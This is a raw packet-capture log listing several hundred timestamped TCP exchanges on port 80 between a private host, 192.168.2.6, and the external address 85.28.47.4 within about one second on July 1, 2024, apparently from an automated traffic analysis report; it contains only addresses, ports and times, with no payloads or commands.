Jul 1, 2024 07:20:44.659446955 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.659472942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.659485102 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.659507990 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.659518003 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.659540892 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.659557104 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.659579992 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.659595966 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.659615993 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.659621000 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.659650087 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.659658909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.659684896 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.659696102 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.659728050 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.748362064 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.748429060 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.748462915 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.748470068 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.748531103 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.748531103 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.748544931 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.748579025 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.748594999 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.748621941 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.748644114 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.748677969 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.748692036 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.748728991 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.748729944 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.748780966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.748780966 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.748816967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.748827934 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.748848915 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.748862982 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.748884916 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.748903990 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.748918056 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.748931885 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.748958111 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.748970032 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749003887 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749022007 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749037027 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749046087 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749082088 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749089956 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749126911 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749136925 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749156952 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749170065 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749188900 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749190092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749224901 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749231100 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749270916 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749277115 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749313116 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749322891 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749346972 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749360085 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749382019 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749396086 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749418974 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749433041 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749452114 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749470949 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749485970 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749490976 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749515057 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749521017 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749526024 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749557018 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749561071 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749591112 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749600887 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749625921 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749636889 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749660015 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749670982 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749695063 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749706030 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749730110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749738932 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749763966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749774933 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749799967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749809027 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749834061 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749850035 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749871016 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749880075 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749906063 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749917984 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749938965 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749946117 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.749972105 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.749983072 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750006914 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750016928 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750036955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750063896 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750071049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750077009 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750106096 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750118971 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750140905 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750153065 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750174046 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750174999 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750207901 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750214100 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750241995 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750247002 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750277042 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750283003 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750320911 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750329018 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750360966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750375032 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750395060 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750408888 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750430107 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750437021 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750464916 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750473976 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750513077 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750524044 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750552893 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750559092 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750586033 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750597000 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750619888 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750632048 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750653982 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750663042 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750689030 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750695944 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750722885 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750735998 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750756979 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750766039 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750791073 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750796080 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750835896 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750840902 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750874043 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750885010 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750906944 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750915051 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750941038 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750952959 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.750974894 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.750977993 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.751019955 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.751023054 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.751066923 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.751116991 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.751149893 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.751168013 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.751183033 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.751193047 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.751218081 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.751235962 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.751250982 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.751255989 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.751285076 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.751302004 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.751318932 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.751331091 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.751353025 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.751389027 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.751395941 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.751421928 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.751422882 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.751432896 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.751460075 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.751470089 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.751502991 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.751576900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.751626015 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.751627922 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.751660109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.751677036 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.751693010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.751703978 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.751725912 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.751746893 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.751759052 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.751764059 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.751791954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.751804113 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.751827002 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.751832008 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.751859903 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.751873970 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.751894951 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.751904964 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.751929045 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.751939058 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.751964092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.751972914 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.751998901 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.752008915 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.752032042 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.752032995 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.752065897 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.752072096 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.752098083 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.752101898 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.752146959 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.752152920 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.752182007 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.752197027 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.752223969 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.752230883 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.752264023 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.752275944 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.752294064 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.752309084 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.752326012 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.752337933 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.752360106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.752370119 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.752399921 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.752403021 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.752409935 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.752438068 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.752443075 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.752456903 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.752494097 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.752535105 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.752568960 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.752585888 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.752603054 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.752609968 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.752635956 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.752645016 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.752671003 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.752684116 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.752705097 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.752717972 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.752748966 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.752756119 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.752785921 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.752800941 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.752825022 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.841751099 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.841769934 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.841795921 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.841819048 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.841833115 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.841847897 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.841861963 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.841876030 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.841892004 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.841890097 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.841907024 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.841922045 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.841937065 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.841949940 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.841954947 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.841967106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.841976881 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.841981888 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.841994047 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.842006922 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842020035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842025042 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.842036963 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842046022 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.842052937 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842068911 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842072964 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.842084885 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842087984 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.842103004 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842113018 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.842123985 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842138052 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842144012 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.842165947 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.842181921 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842189074 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.842207909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842221022 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842226028 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.842237949 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842242956 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.842252016 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.842279911 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.842439890 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842456102 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842470884 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842487097 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.842494011 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842506886 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.842510939 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842528105 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842530012 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.842544079 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842552900 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.842560053 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842571020 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.842582941 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842588902 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.842618942 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.842756033 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842771053 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842787027 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842799902 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.842801094 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842811108 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.842819929 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842833996 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842835903 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.842849970 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.842849970 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.842869043 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.842890978 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.843022108 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843036890 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843055964 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843066931 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.843071938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843082905 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.843091011 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843100071 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.843106031 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843116999 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.843126059 CEST	80	49711	85.28.47.4	192.168.2.6
